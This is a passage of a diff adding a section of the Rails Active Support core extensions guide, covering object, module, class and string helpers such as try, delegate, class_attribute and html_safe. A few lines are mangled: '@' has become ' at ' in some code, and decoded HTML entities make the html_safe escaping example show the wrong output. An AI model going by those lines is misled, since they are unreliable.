+0.0.clone # => allocator undefined for Float
+(2**1024).clone # => allocator undefined for Bignum
+```
+
+Active Support provides `duplicable?` to programmatically query an object about this property:
+
+```ruby
+"foo".duplicable? # => true
+"".duplicable? # => true
+0.0.duplicable? # => false
+false.duplicable? # => false
+```
+
+By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects.
+
+WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
+
+NOTE: Defined in `active_support/core_ext/object/duplicable.rb`.
+
+### `deep_dup`
+
+The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
+
+```ruby
+array = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# the object was duplicated, so the element was added only to the duplicate
+array #=> ['string']
+duplicate #=> ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# first element was not duplicated, it will be changed in both arrays
+array #=> ['foo']
+duplicate #=> ['foo', 'another-string']
+```
+
+As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
+
+If you need a deep copy of an object, you should use `deep_dup`. Here is an example:
+
+```ruby
+array = ['string']
+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array #=> ['string']
+duplicate #=> ['foo']
+```
+
+If the object is not duplicable, `deep_dup` will just return it:
+
+```ruby
+number = 1
+duplicate = number.deep_dup
+number.object_id == duplicate.object_id # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### `try`
+
+When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`.
+
+Here is an example:
+
+```ruby
+# without try
+unless @number.nil?
+ @number.next
+end
+
+# with try
+ at number.try(:next)
+```
+
+Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check.
+
+```ruby
+def log_info(sql, name, ms)
+ if @logger.try(:debug?)
+ name = '%s (%.1fms)' % [name || 'SQL', ms]
+ @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+ end
+end
+```
+
+`try` can also be called without arguments but a block, which will only be executed if the object is not nil:
+
+```ruby
+ at person.try { |p| "#{p.first_name} #{p.last_name}" }
+```
+
+NOTE: Defined in `active_support/core_ext/object/try.rb`.
+
+### `class_eval(*args, &block)`
+
+You can evaluate code in the context of any object's singleton class using `class_eval`:
+
+```ruby
+class Proc
+ def bind(object)
+ block, time = self, Time.current
+ object.class_eval do
+ method_name = "__bind_#{time.to_i}_#{time.usec}"
+ define_method(method_name, &block)
+ method = instance_method(method_name)
+ remove_method(method_name)
+ method
+ end.bind(object)
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`.
+
+### `acts_like?(duck)`
+
+The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines
+
+```ruby
+def acts_like_string?
+end
+```
+
+which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
+
+```ruby
+some_klass.acts_like?(:string)
+```
+
+Rails has classes that act like `Date` or `Time` and follow this contract.
+
+NOTE: Defined in `active_support/core_ext/object/acts_like.rb`.
+
+### `to_param`
+
+All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments.
+
+By default `to_param` just calls `to_s`:
+
+```ruby
+7.to_param # => "7"
+```
+
+The return value of `to_param` should **not** be escaped:
+
+```ruby
+"Tom & Jerry".to_param # => "Tom & Jerry"
+```
+
+Several classes in Rails overwrite this method.
+
+For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/":
+
+```ruby
+[0, true, String].to_param # => "0/true/String"
+```
+
+Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given
+
+```ruby
+class User
+ def to_param
+ "#{id}-#{name.parameterize}"
+ end
+end
+```
+
+we get:
+
+```ruby
+user_path(@user) # => "/users/357-john-smith"
+```
+
+WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`.
+
+NOTE: Defined in `active_support/core_ext/object/to_param.rb`.
+
+### `to_query`
+
+Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given
+
+```ruby
+class User
+ def to_param
+ "#{id}-#{name.parameterize}"
+ end
+end
+```
+
+we get:
+
+```ruby
+current_user.to_query('user') # => user=357-john-smith
+```
+
+This method escapes whatever is needed, both for the key and the value:
+
+```ruby
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+```
+
+so its output is ready to be used in a query string.
+
+Arrays return the result of applying `to_query` to each element with `_key_[]` as key, and join the result with "&":
+
+```ruby
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+```
+
+Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":
+
+```ruby
+{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+```
+
+The method `Hash#to_query` accepts an optional namespace for the keys:
+
+```ruby
+{id: 89, name: "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+```
+
+NOTE: Defined in `active_support/core_ext/object/to_query.rb`.
+
+### `with_options`
+
+The method `with_options` provides a way to factor out common options in a series of method calls.
+
+Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
+
+```ruby
+class Account < ActiveRecord::Base
+ has_many :customers, dependent: :destroy
+ has_many :products, dependent: :destroy
+ has_many :invoices, dependent: :destroy
+ has_many :expenses, dependent: :destroy
+end
+```
+
+this way:
+
+```ruby
+class Account < ActiveRecord::Base
+ with_options dependent: :destroy do |assoc|
+ assoc.has_many :customers
+ assoc.has_many :products
+ assoc.has_many :invoices
+ assoc.has_many :expenses
+ end
+end
+```
+
+That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
+
+```ruby
+I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
+ subject i18n.t :subject
+ body i18n.t :body, user_name: user.name
+end
+```
+
+TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
+
+NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
+
+### Instance Variables
+
+Active Support provides several methods to ease access to instance variables.
+
+#### `instance_values`
+
+The method `instance_values` returns a hash that maps instance variable names without "@" to their
+corresponding values. Keys are strings:
+
+```ruby
+class C
+ def initialize(x, y)
+ @x, @y = x, y
+ end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+```
+
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
+
+### Silencing Warnings, Streams, and Exceptions
+
+The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
+
+```ruby
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+```
+
+You can silence any stream while a block runs with `silence_stream`:
+
+```ruby
+silence_stream(STDOUT) do
+ # STDOUT is silent here
+end
+```
+
+The `quietly` method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
+
+```ruby
+quietly { system 'bundle install' }
+```
+
+For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
+
+Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised:
+
+```ruby
+# If the user is locked the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+ current_user.increment! :visits
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`.
+
+### `in?`
+
+The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`.
+
+Examples of `in?`:
+
+```ruby
+1.in?(1,2) # => true
+1.in?([1,2]) # => true
+"lo".in?("hello") # => true
+25.in?(30..50) # => false
+1.in?(1) # => ArgumentError
+```
+
+NOTE: Defined in `active_support/core_ext/object/inclusion.rb`.
+
+Extensions to `Module`
+----------------------
+
+### `alias_method_chain`
+
+Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
+
+For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionController::TestCase#process` this way in `test/test_helper.rb`:
+
+```ruby
+ActionController::TestCase.class_eval do
+ # save a reference to the original process method
+ alias_method :original_process, :process
+
+ # now redefine process and delegate to original_process
+ def process(action, params=nil, session=nil, flash=nil, http_method='GET')
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ original_process(action, params, session, flash, http_method)
+ end
+end
+```
+
+That's the method `get`, `post`, etc., delegate the work to.
+
+That technique has a risk, it could be the case that `:original_process` was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
+
+```ruby
+ActionController::TestCase.class_eval do
+ def process_with_stringified_params(...)
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ process_without_stringified_params(action, params, session, flash, http_method)
+ end
+ alias_method :process_without_stringified_params, :process
+ alias_method :process, :process_with_stringified_params
+end
+```
+
+The method `alias_method_chain` provides a shortcut for that pattern:
+
+```ruby
+ActionController::TestCase.class_eval do
+ def process_with_stringified_params(...)
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ process_without_stringified_params(action, params, session, flash, http_method)
+ end
+ alias_method_chain :process, :stringified_params
+end
+```
+
+Rails uses `alias_method_chain` all over the code base. For example validations are added to `ActiveRecord::Base#save` by wrapping the method that way in a separate module specialized in validations.
+
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
+
+### Attributes
+
+#### `alias_attribute`
+
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
+
+```ruby
+class User < ActiveRecord::Base
+ # let me refer to the email column as "login",
+ # possibly meaningful for authentication code
+ alias_attribute :login, :email
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
+
+#### Internal Attributes
+
+When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
+
+Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
+
+The macro `attr_internal` is a synonym for `attr_internal_accessor`:
+
+```ruby
+# library
+class ThirdPartyLibrary::Crawler
+ attr_internal :log_level
+end
+
+# client code
+class MyCrawler < ThirdPartyLibrary::Crawler
+ attr_accessor :log_level
+end
+```
+
+In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision.
+
+By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`.
+
+Rails uses internal attributes in a few spots, for examples for views:
+
+```ruby
+module ActionView
+ class Base
+ attr_internal :captures
+ attr_internal :request, :layout
+ attr_internal :controller, :template
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
+
+#### Module Attributes
+
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
+
+For example, the dependencies mechanism uses them:
+
+```ruby
+module ActiveSupport
+ module Dependencies
+ mattr_accessor :warnings_on_first_load
+ mattr_accessor :history
+ mattr_accessor :loaded
+ mattr_accessor :mechanism
+ mattr_accessor :load_paths
+ mattr_accessor :load_once_paths
+ mattr_accessor :autoloaded_constants
+ mattr_accessor :explicitly_unloadable_constants
+ mattr_accessor :logger
+ mattr_accessor :log_activity
+ mattr_accessor :constant_watch_stack
+ mattr_accessor :constant_watch_stack_mutex
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
+
+### Parents
+
+#### `parent`
+
+The `parent` method on a nested named module returns the module that contains its corresponding constant:
+
+```ruby
+module X
+ module Y
+ module Z
+ end
+ end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent # => X::Y
+```
+
+If the module is anonymous or belongs to the top-level, `parent` returns `Object`.
+
+WARNING: Note that in that case `parent_name` returns `nil`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parent_name`
+
+The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+
+```ruby
+module X
+ module Y
+ module Z
+ end
+ end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name # => "X::Y"
+```
+
+For top-level or anonymous modules `parent_name` returns `nil`.
+
+WARNING: Note that in that case `parent` returns `Object`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parents`
+
+The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:
+
+```ruby
+module X
+ module Y
+ module Z
+ end
+ end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents # => [X::Y, X, Object]
+```
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+### Constants
+
+The method `local_constants` returns the names of the constants that have been
+defined in the receiver module:
+
+```ruby
+module X
+ X1 = 1
+ X2 = 2
+ module Y
+ Y1 = :y1
+ X1 = :overrides_X1_above
+ end
+end
+
+X.local_constants # => [:X1, :X2, :Y]
+X::Y.local_constants # => [:Y1, :X1]
+```
+
+The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### Qualified Constant Names
+
+The standard methods `const_defined?`, `const_get` , and `const_set` accept
+bare constant names. Active Support extends this API to be able to pass
+relative qualified constant names.
+
+The new methods are `qualified_const_defined?`, `qualified_const_get`, and
+`qualified_const_set`. Their arguments are assumed to be qualified constant
+names relative to their receiver:
+
+```ruby
+Object.qualified_const_defined?("Math::PI") # => true
+Object.qualified_const_get("Math::PI") # => 3.141592653589793
+Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
+```
+
+Arguments may be bare constant names:
+
+```ruby
+Math.qualified_const_get("E") # => 2.718281828459045
+```
+
+These methods are analogous to their builtin counterparts. In particular,
+`qualified_constant_defined?` accepts an optional second argument to be
+able to say whether you want the predicate to look in the ancestors.
+This flag is taken into account for each constant in the expression while
+walking down the path.
+
+For example, given
+
+```ruby
+module M
+ X = 1
+end
+
+module N
+ class C
+ include M
+ end
+end
+```
+
+`qualified_const_defined?` behaves this way:
+
+```ruby
+N.qualified_const_defined?("C::X", false) # => false
+N.qualified_const_defined?("C::X", true) # => true
+N.qualified_const_defined?("C::X") # => true
+```
+
+As the last example implies, the second argument defaults to true,
+as in `const_defined?`.
+
+For coherence with the builtin methods only relative paths are accepted.
+Absolute qualified constant names like `::Math::PI` raise `NameError`.
+
+NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`.
+
+### Reachable
+
+A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
+
+That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it:
+
+```ruby
+module M
+end
+
+M.reachable? # => true
+```
+
+But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
+
+```ruby
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# The module object is orphan now but it still has a name.
+orphan.name # => "M"
+
+# You cannot reach it via the constant M because it does not even exist.
+orphan.reachable? # => false
+
+# Let's define a module called "M" again.
+module M
+end
+
+# The constant M exists now again, and it stores a module
+# object called "M", but it is a new instance.
+orphan.reachable? # => false
+```
+
+NOTE: Defined in `active_support/core_ext/module/reachable.rb`.
+
+### Anonymous
+
+A module may or may not have a name:
+
+```ruby
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+```
+
+You can check whether a module has a name with the predicate `anonymous?`:
+
+```ruby
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+```
+
+Note that being unreachable does not imply being anonymous:
+
+```ruby
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+```
+
+though an anonymous module is unreachable by definition.
+
+NOTE: Defined in `active_support/core_ext/module/anonymous.rb`.
+
+### Method Delegation
+
+The macro `delegate` offers an easy way to forward methods.
+
+Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:
+
+```ruby
+class User < ActiveRecord::Base
+ has_one :profile
+end
+```
+
+With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+
+```ruby
+class User < ActiveRecord::Base
+ has_one :profile
+
+ def name
+ profile.name
+ end
+end
+```
+
+That is what `delegate` does for you:
+
+```ruby
+class User < ActiveRecord::Base
+ has_one :profile
+
+ delegate :name, to: :profile
+end
+```
+
+It is shorter, and the intention more obvious.
+
+The method must be public in the target.
+
+The `delegate` macro accepts several methods:
+
+```ruby
+delegate :name, :age, :address, :twitter, to: :profile
+```
+
+When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
+
+```ruby
+# delegates to the Rails constant
+delegate :logger, to: :Rails
+
+# delegates to the receiver's class
+delegate :table_name, to: :class
+```
+
+WARNING: If the `:prefix` option is `true` this is less generic, see below.
+
+By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option:
+
+```ruby
+delegate :name, to: :profile, allow_nil: true
+```
+
+With `:allow_nil` the call `user.name` returns `nil` if the user has no profile.
+
+The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name:
+
+```ruby
+delegate :street, to: :address, prefix: true
+```
+
+The previous example generates `address_street` rather than `street`.
+
+WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name.
+
+A custom prefix may also be configured:
+
+```ruby
+delegate :size, to: :attachment, prefix: :avatar
+```
+
+In the previous example the macro generates `avatar_size` rather than `size`.
+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`
+
+### Redefining Methods
+
+There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
+
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
+
+```ruby
+redefine_method("#{reflection.name}=") do |new_value|
+ association = association_instance_get(reflection.name)
+
+ if association.nil? || association.target != new_value
+ association = association_proxy_class.new(self, reflection)
+ end
+
+ association.replace(new_value)
+ association_instance_set(reflection.name, new_value.nil? ? nil : association)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
+
+Extensions to `Class`
+---------------------
+
+### Class Attributes
+
+#### `class_attribute`
+
+The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
+
+```ruby
+class A
+ class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+```
+
+For example `ActionMailer::Base` defines:
+
+```ruby
+class_attribute :default_params
+self.default_params = {
+ mime_version: "1.0",
+ charset: "UTF-8",
+ content_type: "text/plain",
+ parts_order: [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+```
+
+They can be also accessed and overridden at the instance level.
+
+```ruby
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+```
+
+The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`.
+
+```ruby
+module ActiveRecord
+ class Base
+ class_attribute :table_name_prefix, instance_writer: false
+ self.table_name_prefix = ""
+ end
+end
+```
+
+A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
+
+The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`.
+
+```ruby
+class A
+ class_attribute :x, instance_reader: false
+end
+
+A.new.x = 1 # NoMethodError
+```
+
+For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`.
+
+When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.
+
+If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.
+
+NOTE: Defined in `active_support/core_ext/class/attribute.rb`
+
+#### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
+
+The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+ # Generates class methods to access @@emulate_booleans.
+ cattr_accessor :emulate_booleans
+ self.emulate_booleans = true
+end
+```
+
+Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given
+
+```ruby
+module ActionView
+ class Base
+ cattr_accessor :field_error_proc
+ @@field_error_proc = Proc.new{ ... }
+ end
+end
+```
+
+we can access `field_error_proc` in views.
+
+The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
+
+```ruby
+module A
+ class B
+ # No first_name instance reader is generated.
+ cattr_accessor :first_name, instance_reader: false
+ # No last_name= instance writer is generated.
+ cattr_accessor :last_name, instance_writer: false
+ # No surname instance reader or surname= writer is generated.
+ cattr_accessor :surname, instance_accessor: false
+ end
+end
+```
+
+A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
+
+NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
+
+### Subclasses & Descendants
+
+#### `subclasses`
+
+The `subclasses` method returns the subclasses of the receiver:
+
+```ruby
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+#### `descendants`
+
+The `descendants` method returns all classes that are `<` than its receiver:
+
+```ruby
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+Extensions to `String`
+----------------------
+
+### Output Safety
+
+#### Motivation
+
+Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in t [...]
+
+#### Safe Strings
+
+Active Support has the concept of <i>(html) safe</i> strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
+
+Strings are considered to be <i>unsafe</i> by default:
+
+```ruby
+"".html_safe? # => false
+```
+
+You can obtain a safe string from a given one with the `html_safe` method:
+
+```ruby
+s = "".html_safe
+s.html_safe? # => true
+```
+
+It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion:
+
+```ruby
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s # => "<script>...</script>"
+```
+
+It is your responsibility to ensure calling `html_safe` on a particular string is fine.
+
+If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped:
+
+```ruby
+"".html_safe + "<" # => "<"
+```
+
+Safe arguments are directly appended:
+
+```ruby
+"".html_safe + "<".html_safe # => "<"
+```
+
+These methods should not be used in ordinary views. Unsafe values are automatically escaped:
+
+```erb
+<%= @review.title %> <%# fine, escaped if needed %>
+```
+
+To insert something verbatim use the `raw` helper rather than calling `html_safe`:
+
+```erb
+<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+or, equivalently, use `<%==`:
+
+```erb
+<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+The `raw` helper calls `html_safe` for you:
+
+```ruby
+def raw(stringish)
+ stringish.to_s.html_safe
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/output_safety.rb`.
+
+#### Transformation
+
+As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.
+
+In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe.
+
+INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
+
+#### Conversion and Coercion
+
+Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string.
+
+#### Copying
+
+Calling `dup` or `clone` on safe strings yields safe strings.
+
+### `squish`
+
+The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+
+```ruby
+" \n foo\n\r \t bar \n".squish # => "foo bar"
+```
+
+There's also the destructive version `String#squish!`.
+
+Note that it handles both ASCII and Unicode whitespace like mongolian vowel separator (U+180E).
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `truncate`
+
+The method `truncate` returns a copy of its receiver truncated after a given `length`:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '…')
+# => "Oh dear! Oh …"
+```
+
+Note in particular that truncation takes into account the length of the omission string.
+
+Pass a `:separator` to truncate the string at a natural break:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+# => "Oh dear! Oh..."
+```
+
+The option `:separator` can be a regexp:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
+# => "Oh dear! Oh..."
+```
+
+In above examples "dear" gets cut first, but then `:separator` prevents it.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `inquiry`
+
+The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
+
+```ruby
+"production".inquiry.production? # => true
+"active".inquiry.inactive? # => false
+```
+
+### `starts_with?` and `ends_with?`
+
+Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:
+
+```ruby
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o") # => true
+```
+
+NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`.
+
+### `strip_heredoc`
+
+The method `strip_heredoc` strips indentation in heredocs.
+
+For example in
+
+```ruby
+if options[:usage]
+ puts <<-USAGE.strip_heredoc
+ This command does such and such.
+
+ Supported options are:
+ -h This message
+ ...
+ USAGE
+end
+```
+
+the user would see the usage message aligned against the left margin.
+
+Technically, it looks for the least indented line in the whole string, and removes
+that amount of leading whitespace.
+
+NOTE: Defined in `active_support/core_ext/string/strip.rb`.
+
+### `indent`
+
+Indents the lines in the receiver:
+
+```ruby
+<<EOS.indent(2)
+def some_method
+ some_code
+end
+EOS
+# =>
+ def some_method
+ some_code
+ end
+```
+
+The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
+
+```ruby
+" foo".indent(2) # => " foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t") # => "\t\tfoo"
+```
+
+While `indent_string` is typically one space or tab, it may be any string.
+
+The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false.
+
+```ruby
+"foo\n\nbar".indent(2) # => " foo\n\n bar"
+"foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar"
+```
+
+The `indent!` method performs indentation in-place.
+
+### Access
+
+#### `at(position)`
+
+Returns the character of the string at position `position`:
+
+```ruby
+"hello".at(0) # => "h"
+"hello".at(4) # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `from(position)`
+
+Returns the substring of the string starting at position `position`:
+
+```ruby
+"hello".from(0) # => "hello"
+"hello".from(2) # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => "" if < 1.9, nil in 1.9
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `to(position)`
+
+Returns the substring of the string up to position `position`:
+
+```ruby
+"hello".to(0) # => "h"
+"hello".to(2) # => "hel"
+"hello".to(-2) # => "hell"
